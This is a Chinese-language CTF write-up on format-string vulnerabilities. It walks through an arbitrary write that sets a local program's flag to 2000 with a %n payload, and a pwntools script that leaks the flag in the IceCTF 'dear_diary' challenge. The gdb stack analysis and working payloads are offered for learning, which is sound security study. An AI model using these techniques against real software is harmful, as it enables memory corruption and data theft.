格式化字符串漏洞

任意地址写

学习了z神的博客之后对最后一个例子不是很理解,就进行了实践分析。
源程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
int main(void)
{

int flag = 0;
int *p = &flag;
char a[100];
scanf("%s",a);
printf(a);
if(flag == 2000)
{
printf("good!!\n");
}
return 0;
}

我们的目标是最后输出good!也就是说我们要改变flag的值。我们可以改变指向flag的指针p,来达到我们的目的。
首先我们需要知道我们现在读的位置,随手读取8个字节,我们可以看见结果如下,输出的8个字节为ffffce380000

1
2
3
4
gdb-peda$ r
Starting program: /home/ed/Desktop/pwn/test/test
%04x%04x
ffffce380000[Inferior 1 (process 36916) exited normally]

查看此时的栈

1
2
3
4
5
6
7
8
9
gdb-peda$ x /30w $esp
0xffffce20: 0xffffce38 0xffffce38 0x00000000 0x00000000
0xffffce30: 0x00000000 0xffffce30 0x30313025 0x31302578
0xffffce40: 0x30257830 0x30253031 0x30373931 0x006e2578
0xffffce50: 0xf7ffd938 0x00000000 0x000000c2 0xf7ea9716
0xffffce60: 0xffffffff 0xffffce8e 0xf7e21c34 0xf7e47fe3
0xffffce70: 0x00000000 0x00ca0000 0x00000001 0x000000c2
0xffffce80: 0xffffd167 0x0000002f 0x0fabfbff 0x0804858b
0xffffce90: 0x00000001 0xffffcf54

我们可以发现此时的esp为0xffffce20,他是从esp+4开始打印的,接下来只要算出p到开始答应的偏移地址我们就可以构造出payload,实现对flag的修改。
接下来我们去查看
p的位置

1
2
3
4
5
6
   0x80484fb <main+64>:	lea    eax,[ebp-0x70]
0x80484fe <main+67>: push eax
=> 0x80484ff <main+68>: call 0x8048370 <printf@plt>
0x8048504 <main+73>: add esp,0x10
0x8048507 <main+76>: mov eax,DWORD PTR [ebp-0x78]
0x804850a <main+79>: cmp eax,0x7d0

注意观察0x8048507 ,我们可以发现 P的位置是DWORD PTR [ebp-0x78]
我们可以看到现在p在栈中的位置是**
0xffffce30*

1
2
gdb-peda$ x /w $ebp-0x78
0xffffce30: 0x00000000

这样我们就可以构造payload,(0xffffce30-0xffffce20)/4我们只要构造出%010x%010x%010x%1970x%n就可以成功的把2000写入flag。

1
2
3
root@ed-machine:/home/ed/Desktop/pwn/test# ./test
%010x%010x%010x%01970x%n
00ffffce780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ok!

任意地址读

这个我们可以借助2016 icectf的dear_diary这个题来理解
这个题的大致解题思路是这样的,首先把存在data中的flag的地址找到,并在第一次选择中选1.把这个地址写入。然后第二次选择还是选1,写入我们的payload,第三次选择中选2,把flag打印出来。
首先我们要找到falg在data中的地址,这个可以通过ida分析得到0x0804a0a0,然后我们要知道打印时esp的位置,和第一次写的位置,通过这两个地址我们就可以计算出偏移从而构造payload。要知道打印时的esp可以通过gdb在print这个地方下断点,查看esp的值,我们可以发现esp的值为0xffffba50

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[----------------------------------registers-----------------------------------]
EAX: 0xffffbb98 ("bbbb\n")
EBX: 0xf7fbc000 --> 0x1a6da8
ECX: 0xa ('\n')
EDX: 0x100
ESI: 0x0
EDI: 0x0
EBP: 0xffffba78 --> 0xffffcea8 --> 0x0
ESP: 0xffffba50 --> 0xffffbb98 ("bbbb\n")
EIP: 0x804873e (<print_entry+29>: call 0x8048490 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048736 <print_entry+21>: xor eax,eax
0x8048738 <print_entry+23>: mov eax,DWORD PTR [ebp-0x1c]
0x804873b <print_entry+26>: mov DWORD PTR [esp],eax
=> 0x804873e <print_entry+29>: call 0x8048490 <printf@plt>
0x8048743 <print_entry+34>: mov eax,ds:0x804a080
0x8048748 <print_entry+39>: mov DWORD PTR [esp],eax
0x804874b <print_entry+42>: call 0x80484a0 <fflush@plt>
0x8048750 <print_entry+47>: mov eax,DWORD PTR [ebp-0xc]
Guessed arguments:
arg[0]: 0xffffbb98 ("bbbb\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffba50 --> 0xffffbb98 ("bbbb\n")
0004| 0xffffba54 --> 0xf7e49316 (<strtol+6>: add ebx,0x172cea)
0008| 0xffffba58 --> 0xf7fbc000 --> 0x1a6da8
0012| 0xffffba5c --> 0xffffbb98 ("bbbb\n")
0016| 0xffffba60 --> 0xffffce98 --> 0x8000a32
0020| 0xffffba64 --> 0x0
0024| 0xffffba68 --> 0xa ('\n')
0028| 0xffffba6c --> 0x59573600 ('')
[------------------------------------------------------------------------------]

查看栈的情况,我们可以找到第一次写入的位置为0xffffba98

1
2
3
4
gdb-peda$ x /20xw $esp
0xffffba80: 0xffffbc98 0x00000004 0xf7fbcc20 0x00000000
0xffffba90: 0x00000000 0x00000003 0x61616161 0x0000000a
0xffffbaa0: 0x00000000 0x00000000 0x00000000 0x00000000

接下来就可以构造完整的payload了。下面是我的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
choise1 = "1"
choise2 = "2"
choise3 = "3"

t = process("./dear_diary")

print t.recvuntil(">")

########## choise1 ##################
print choise1
t.sendline(choise1)
print t.recvuntil(":")
payload = 0x0804a0a0
print p32(payload)
t.sendline(p32(payload))
print t.recvuntil(">")

###########choise2 ################

print choise2
t.sendline(choise2)
print t.recvuntil(">")

##########choise1 #################
print choise1
t.sendline(choise1)
print t.recvuntil(":")
addr1 = 0xffffba50
addr2 = 0xffffba98
p = (addr2-addr1)/4-1
payload = "%08x"*p+"%s"
print payload
t.sendline(payload)
print t.recvuntil(">")

#########choise2#################
print choise2
t.sendline(choise2)
print t.recvuntil(">")

##########choise3##############
print choise3
t.sendline(choise3)